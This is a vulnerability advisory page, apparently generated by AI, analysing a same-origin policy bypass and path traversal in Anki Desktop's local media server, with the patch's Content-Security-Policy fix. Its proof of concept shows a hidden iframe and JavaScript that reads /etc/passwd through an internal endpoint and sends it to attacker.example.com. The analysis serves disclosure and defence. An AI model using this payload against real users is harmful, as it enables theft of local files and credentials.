CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-CW6H-FFMH-X6VH

GHSA-CW6H-FFMH-X6VH: Arbitrary Local File Disclosure via Same-Origin Policy Bypass in Anki Desktop

Alon Barad
Alon Barad
Software Engineer

Jun 22, 2026·4 min read·24 visits

Executive Summary (TL;DR)

User-supplied HTML and SVG files within imported Anki decks can bypass Same-Origin Policy protections inside Anki's local media server, enabling unauthenticated reads of sensitive local files and immediate out-of-band data exfiltration.

Anki Desktop for Windows, macOS, and Linux is vulnerable to local file disclosure and data exfiltration due to an iframe-based Same-Origin Policy (SOP) bypass. Maliciously crafted user scripts inside imported deck files run within the localhost context, bypassing security filters to query internal endpoints and read arbitrary system files.

Vulnerability Overview

Anki Desktop utilizes an embedded browser framework based on QtWebEngine to render flashcards. To facilitate rendering media assets and communicating with the core Rust backend, Anki executes a local WSGI HTTP server (mediasrv.py) driven by Waitress. This server binds to the localhost interface on a dynamically selected TCP port.

Because the browser interface processes arbitrary user-supplied card contents, Anki must enforce strict origin boundary controls. If user-submitted files execute within the same origin as the local management API, they gain access to restricted endpoints. This vulnerability permits untrusted resources to bridge the security boundary and read local configuration files, databases, or keys.

Root Cause Analysis

The root cause of GHSA-CW6H-FFMH-X6VH is the complete absence of a Content Security Policy (CSP) header on served media assets, coupled with shared origin execution. When a flashcard renders an HTML or SVG media element, the assets are loaded from the loopback address (e.g., http://127.0.0.1:port/media/file.html).

Because the parent page and the iframe share the exact same protocol, domain name, and port, they belong to the same origin. The browser's Same-Origin Policy permits scripts inside the frame to access the parent DOM structure and query internal APIs directly.

By leveraging endpoints such as getImageForOcclusion—which accepts paths and retrieves local disk resources without directory-traversal mitigation (CWE-22)—the script reads host files. The isolated origin context can then immediately transmit this retrieved information to external systems using simple cross-origin image requests.

Code Path Analysis

Prior to the implementation of the patch, the application server processed file requests inside _handle_local_file_request(req) without validating origin trust or appending security headers. The mitigation resolves this issue by introducing UNTRUSTED_MEDIA_CSP inside qt/aqt/mediasrv.py.

This policy restricts scripting, network requests, frame loading, and enforces a unique sandboxed environment.

# Defined sandbox CSP policy within the patched media server
UNTRUSTED_MEDIA_CSP = "; ".join([
    "default-src 'none'",
    "script-src 'none'",
    "connect-src 'none'",
    "object-src 'none'",
    "frame-src 'none'",
    "child-src 'none'",
    "base-uri 'none'",
    "form-action 'none'",
    "sandbox"  # Enforces an opaque, isolated origin
])

During file dispatch, the media server checks the request.untrusted flag and appends the policy to prevent script execution on active documents.

# Response generation with CSP header injection
response = flask.send_file(
    fullpath,
    mimetype=mimetype,
    conditional=True,
    max_age=max_age,
    download_name="foo"
)
if request.untrusted:
    response.headers["Content-Security-Policy"] = UNTRUSTED_MEDIA_CSP
return response

Exploitation and Proof-of-Concept

An attacker exploits this design flaw by preparing a custom deck archive containing a malicious page, payload.html, and a flashcard layout containing an invisible frame.

<iframe src="payload.html" style="display:none;" width="0" height="0"></iframe>

When loaded, payload.html executes JavaScript inside the local origin. The script calls the vulnerable endpoint, exploiting directory traversal to locate sensitive target directories.

async function exfil() {
    let fileRequest = await fetch('/_anki/getImageForOcclusion', {
        method: 'POST',
        headers: { 'Content-Type': 'application/binary' },
        body: JSON.stringify({ path: '../../../../../../../../../../etc/passwd' })
    });
    let content = await fileRequest.text();
    new Image().src = 'https://attacker.example.com/log?data=' + btoa(content);
}
exfil();

This script runs transparently whenever the card is viewed, leaking host files without raising errors or warnings to the user.

Impact Assessment

This vulnerability is classified as Medium severity with a CVSS 3.1 score of 6.5. Successful exploitation allows an attacker to retrieve any local document readable by the active user account.

Threat actors can target credentials, private keys, browser session stores, and internal program configurations. Because the execution engine retains outbound connection capabilities, the retrieved information can be sent immediately to external capture points.

The attack requires the target user to manually import a compromised deck, limiting direct automated exploitation vectors.

Patch Evaluation and Residual Risks

The introduction of UNTRUSTED_MEDIA_CSP successfully neutralizes immediate scripting execution paths. However, the traversal check in ensure_safe_path contains potential design limitations. The path verification checks are performed using os.path.abspath instead of resolving final files.

def ensure_safe_path(base_dir, path):
    base_dir = os.path.realpath(base_dir)
    path = os.path.normpath(path)
    fullpath = os.path.abspath(os.path.join(base_dir, path))
    if not fullpath.startswith(base_dir + os.sep):
        raise UnsafePathException(path)
    return fullpath

Because os.path.abspath does not resolve nested symbolic links, a zipped deck containing functional symbolic links could theoretically trigger an external file read when processed by the operating system file server.

Furthermore, HTTP GET queries triggered by HTML tags (such as <img>) do not carry Origin HTTP headers, which may expose GET-based administration parameters to Cross-Site Request Forgery (CSRF) attempts.

Fix Analysis (1)

Technical Appendix

CVSS Score
6.5/ 10

Affected Systems

Anki Desktop for WindowsAnki Desktop for macOSAnki Desktop for Linuxaqt python module

Affected Versions Detail

Product
Affected Versions
Fixed Version
aqt
Anki
<= 25.09.325.09.4
AttributeDetail
CWE IDCWE-346 / CWE-22
Attack VectorNetwork
CVSS Score6.5
Exploit StatusProof-of-Concept Available
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1203Exploitation for Client Execution
Execution
T1059.007JavaScript
Execution
T1083File and Directory Discovery
Discovery
T1213Data from Local System
Collection
T1048Exfiltration Over Alternative Protocol
Exfiltration

References & Sources

  • [1]GitHub Security Advisory GHSA-CW6H-FFMH-X6VH
  • [2]Anki Security Advisory for GHSA-cw6h-ffmh-x6vh
  • [3]Anki Fix Commit 8f39ce82d575434319e479bb94f43de28523c6eb

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 12 hours ago•CVE-2026-58197
8.8

CVE-2026-58197: Host Escape and Lateral Movement via Insecure Container Network Defaults in ToolHive

A high-severity access control vulnerability in ToolHive CLI before v0.30.1 and ToolHive Studio before v0.38.0 allows local containerized MCP servers to bypass network isolation. This enables malicious workloads to establish TCP/IP connections to administrative and control plane endpoints exposed on the host loopback interface.

Amit Schendel
Amit Schendel
7 views•8 min read
•about 13 hours ago•CVE-2026-63405
5.9

CVE-2026-63405: Insufficient Verification of Data Authenticity in AnyCable Pusher REST API

AnyCable is a real-time communication server. Prior to version 1.6.15, its Pusher-compatible REST API suffered from an authentication bypass vulnerability because it failed to verify that the request body matched the signature-validated body_md5 parameter. This allows attackers to perform replay attacks with modified body contents.

Amit Schendel
Amit Schendel
7 views•5 min read
•about 14 hours ago•CVE-2026-64847
6.8

CVE-2026-64847: Indefinite Denial of Service via Undrained Stderr in AnyIO Process Pool Workers

A denial-of-service vulnerability exists in AnyIO prior to version 4.14.2. Standard error streams of process-pool workers are connected to an operating system pipe that is never drained by the parent process. This allows a worker to fill the pipe buffer and deadlock indefinitely.

Amit Schendel
Amit Schendel
7 views•6 min read
•about 15 hours ago•CVE-2026-63349
7.0

CVE-2026-63349: Privilege Dropping Bypass and Denial of Service in AnyIO Subprocess Module

CVE-2026-63349 is a critical privilege-dropping bypass vulnerability in the AnyIO asynchronous framework (versions 4.14.0 and 4.14.1) on POSIX platforms. Due to a variable assignment typo, supplementary groups specified by the developer are not correctly propagated to the execution backend, resulting in subprocesses retaining the parent process's elevated supplementary group permissions.

Alon Barad
Alon Barad
10 views•5 min read
•about 16 hours ago•CVE-2026-63406
5.9

CVE-2026-63406: Information Disclosure via Insecure Telemetry and Hardcoded Credentials in AnyCable-Go

CVE-2026-63406 is an information disclosure vulnerability in AnyCable-go prior to version 1.6.15. The built-in telemetry client is enabled by default with a hardcoded public authentication token ('secret'). This client digests highly sensitive configuration parameters and command-line arguments, including JWT secrets and RPC secrets, into a stable SHA-256 fingerprint. This fingerprint is sent over public networks, exposing those administrative secrets to offline dictionary and brute-force attacks if intercepted.

Alon Barad
Alon Barad
7 views•5 min read
•about 17 hours ago•CVE-2026-84992
6.1

CVE-2026-84992: Cross-Site Scripting (XSS) via Fenced Code Block Parsing in md-editor-v3

CVE-2026-84992 is a Cross-Site Scripting (XSS) vulnerability affecting md-editor-v3 before version 6.5.4. It occurs because the fenced-code block language parser directly interpolates unescaped language metadata into unquoted HTML attributes inside the custom rendering callback. This bypasses the built-in XSSPlugin which runs during the parsing phase, before rendering.

Amit Schendel
Amit Schendel
9 views•6 min read